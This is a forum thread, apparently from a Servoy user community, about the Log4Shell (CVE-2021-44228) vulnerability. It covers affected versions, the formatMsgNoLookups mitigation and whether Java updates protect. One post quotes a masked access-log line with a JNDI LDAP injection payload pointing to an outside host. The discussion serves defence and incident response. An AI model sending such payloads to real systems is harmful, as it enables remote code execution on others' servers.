Hi Johan,
Has this any imoact on Servoy deployements?
Or older version?
we already upped our log4j for the next releases (so from 2022.03 on for sure)
for .12 i have to see because that does mean i need to do a last minute change of libraries…
for older releases i guess in the developer it is fine, but if you deploy you can manually update the WAR file to update to the latest releases of that.
i need to investigate a bit how this exploit can be exploited. what access do you need
it seems to me if i read it all correctly that it can only be exploited if the attacker can get a log message into the system that has a “jndi:xx” lookup in the message and you are using an older java vm that doesn’t protect against certain attacks like that.
besides that you in older releases of servoy use the system property: log4j2.formatMsgNoLookups=true because i think from log4j 2.10 and higher that will also turn that jndi lookup off.
We are already using version of log4j that are higher the 2.10 for years (3 to 4 years)
Hi Johan,
if I read here: https://github.com/Cybereason/Logout4Shell
While the best mitigation against this vulnerability is to patch log4j to 2.15.0 and above, in Log4j version (>=2.10) this behavior can be mitigated by setting system property log4j2.formatMsgNoLookups to true or by removing the JndiLookup class from the classpath. Additionally, if the server has Java runtimes >= 8u121, then by default, the settings com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase are set to “false”, mitigating this risk.
So if we for example still running a couple of the latest Servoy 7.4.x and have a higher installed Java >= 8u121, we are out of risk?
Can you please confirm?
jcompagner:
we already upped our log4j for the next releases (so from 2022.03 on for sure)
for .12 i have to see because that does mean i need to do a last minute change of libraries…for older releases i guess in the developer it is fine, but if you deploy you can manually update the WAR file to update to the latest releases of that.
i need to investigate a bit how this exploit can be exploited. what access do you need
Hi Johan,
We still run Servoy 6.0 on some servers with openjdk 11.0.1
Are there risks in that?
And if so, can we fix the log4j version for that server or are we out of luck?
Or do I read in your message, that in older servoy versions the setting log4j2.formatMsgNoLookups=true was always set to true already?
Or are we in the clear, because what I read now at:
https://blog.qualys.com/vulnerabilities … -log4shell
All versions of Log4j2 versions >= 2.0-beta9 and <= 2.14.1 are affected by this vulnerability.
I can’t determine the version in servoy 6, but looking at dates I think perhaps it is earlier?
Log4j vulnerability in Servoy products
Servoy servers make use of Apache Log4j, a widely used Java logging library. Apache Log4j versions prior to 2.15.0 are susceptible to a vulnerability which when successfully exploited could allow an attacker who can control log messages or log message parameters to execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
The vulnerability found is regarded as critical:
https://nvd.nist.gov/vuln/detail/CVE-2021-44228
Servoy is aware of this vulnerability and has already fixed this for the next release of Servoy 2021.12 and the next LTS releases for 2020.03 and 2021.03 by providing log4j 2.15.0. Also, all Servoy Cloud instances were immediately secured against this threat.
Servoy versions affected
Any released version of Servoy >= 8.4 is potentially vulnerable. Servoy 8.4 shipped with log4j version 2.11.1 and that was updated in following releases up to 2.14.1. Servoy versions < 8.4 ship with log4j 1.x, which is not affected.
How to remediate the problem
Apache states that setting a system property to the java instance under which the Servoy server operates will fix the issue:
-Dlog4j2.formatMsgNoLookups=true
In a normal Tomcat deployment running as a service this can be added via the Apache Commons Daemon Service Manager (Tomcat properties) in the Java tab. Under “Java options” the above property can be added as a new line to the existing properties.
This will work for all Servoy versions >= 8.4.
Customers using the Tomcat Servoy used to ship and run that as a service should stop the service and add a line such as
wrapper.java.additional.xx=-Dlog4j2.formatMsgNoLookups=true
to the Java parameters in the file application_server\server\wrapper.conf under “Java Additional Parameters”, where “xx” is the highest number of the already existing parameters plus one.
The currently known exploit is also prevented by java versions >= 8u121.
Future versions of Servoy and future LTS releases for 2020.03 and 2021.03 will ship with log4j 2.15.0 or later, where the problem has been addressed.
Look into our Servoy Cloud offering, where security issues are closely monitored by experts and resolved for you as soon as they arise. Automatically. Contact your Servoy Salescontact for details on how to obtain a hassle free Servoy deployment.
Keep in mind it’s not just Servoy that may be vulnerable.
The Dutch NCSC compiled (and updates) a list of software and their status:
https://github.com/NCSC-NL/log4shell/tree/main/software
rvanderburg:
Older versions of Servoy ship with log4j 1.x, this version is no longer supported and should have been replaced already
I totally agree, but sometimes keeping up with the latest version of Servoy is not as simple.
Any chance that the old log4j library can simply be replaced by the latest version?
Or does this require additional changes in settings files.
mboegem:
rvanderburg:
Older versions of Servoy ship with log4j 1.x, this version is no longer supported and should have been replaced alreadyI totally agree, but sometimes keeping up with the latest version of Servoy is not as simple.
Any chance that the old log4j library can simply be replaced by the latest version?
Or does this require additional changes in settings files.
yes it needs more changes, i think also web.ml that is generated in our war, you need to update more libs (slf4j) and logging configuration.
The last version that we shipped with Log4J 1.x was Servoy 8.3.3 that was released more then 3 years ago…
so if you are still on older version then that, you really need to check what you need your self, the one the mention: https://logging.apache.org/log4j/1.2/
is not really used, that is only a problem if you are running log4j with a network connector so you can push log messages over the network to server…
I don’t think that is enabled by default…
Also there are question for the smartclient, by default servoy does not push log4j to the client, because we use slf4j (which is a wrapper logging service) and for a smart client we map that to the JDK logger itself.
But there are customers that use 3rd party plugins that have log4j, and then we just install them also on the client, you could if you want configure through the admin page to send over that system property to the smart client.
But do remember if a attacker tries to attach through a smartclient it attacks itself…
(because the smart client is running on its own machine, so anything it does just attacks its own machine…)
It looks like the DrMaison plugins use the old version of Log4J (1.2.14). So that should be safe (for this CVE) as well.
I think there is a very important typo on https://servoy.com/java-log4j-vulnerability/
This:
The currently known exploit is also prevented by java versions >= 8u121.
Should be:
The currently known exploit is also prevented by java versions >= 8u191.
in the real CVE: https://cve.mitre.org/cgi-bin/cvename.c … 2021-44228
they really mention 121:
“Java 8u121 (see https://www.oracle.com/java/technologie … notes.html) protects against remote code execution by defaulting “com.sun.jndi.rmi.object.trustURLCodebase” and “com.sun.jndi.cosnaming.object.trustURLCodebase” to “false”.”
I think 8u121 just fixes JNDI-RMI. 8u191 fixes JNDI-LDAP.
From: https://www-cnblogs-com.translate.goog/ … r_hl=en-US
Which was linked from https://www.lunasec.io/docs/blog/log4j-zero-day/
It looks like updating your JVM is no longer an effective mitigation.
[attachment=0]Screenshot 2021-12-13 at 18.45.24.png[/attachment]
https://twitter.com/marcioalm/status/14 … 5405875200
Continue focussing patching the root cause.
ROCLASI:
It looks like updating your JVM is no longer an effective mitigation.[attachment=0]Screenshot 2021-12-13 at 18.45.24.png[/attachment]
https://twitter.com/marcioalm/status/14 … 5405875200Continue focussing patching the root cause.
-Dlog4j2.formatMsgNoLookups=true
Fixes that
I don’t want to be an alarmist but (there is always a ‘but’):
Cloudflare’s telemetry data shows that the Log4j vulnerability had been exploited in the wild for at least 9 days prior to its public disclosure:
So to quote security researcher Jake Williams:
If you are patching Log4j today on internet facing service, you need to be doing incident response too. The reality of that someone else almost certainly beat you to it. Patching doesn’t remove the existing compromise.
So, meaning that you should not only patch the exploit but take action aswell. The real question is of course, what should you do? On some of our servers we indeed find some ‘jndi:ldap’ entries in the access and catalina logs of Tomcat. These also happen from after we patched the server.
I don’t want to enclose them here because this is a public forum but they look like this:
x.x.x.x - - [12/Dec/2021:23:33:55 +0100] "GET /$%7Bjndi:ldap://x.x.x.x:yyyy/Exploit%7D HTTP/1.1" 404 808
How can we determine the impact? The response status of those requests is always 404, does that mean the scan failed? When I check the ip’s that sent the requests, they are blocked by our Fortigate firewall.
Hi Ruben,
That is a good question. I am not in InfoSec. I just follow InfoSec Twitter/Blogs closely.
From what I read the current wave of malware is mostly coin miners and some malware like Mirai.
So paying close attention to CPU loads (and suspect processes) might be prudent.
Also a lot of the traffic people see is from security companies scanning the internet.
Future versions of Servoy and future LTS releases for 2020.03 and 2021.03 will ship with log4j 2.15.0 or later, where the problem has been addressed.
Hi Ron, What is the scheduled date for the next LTS releases for version 2020.03 and 2021.03?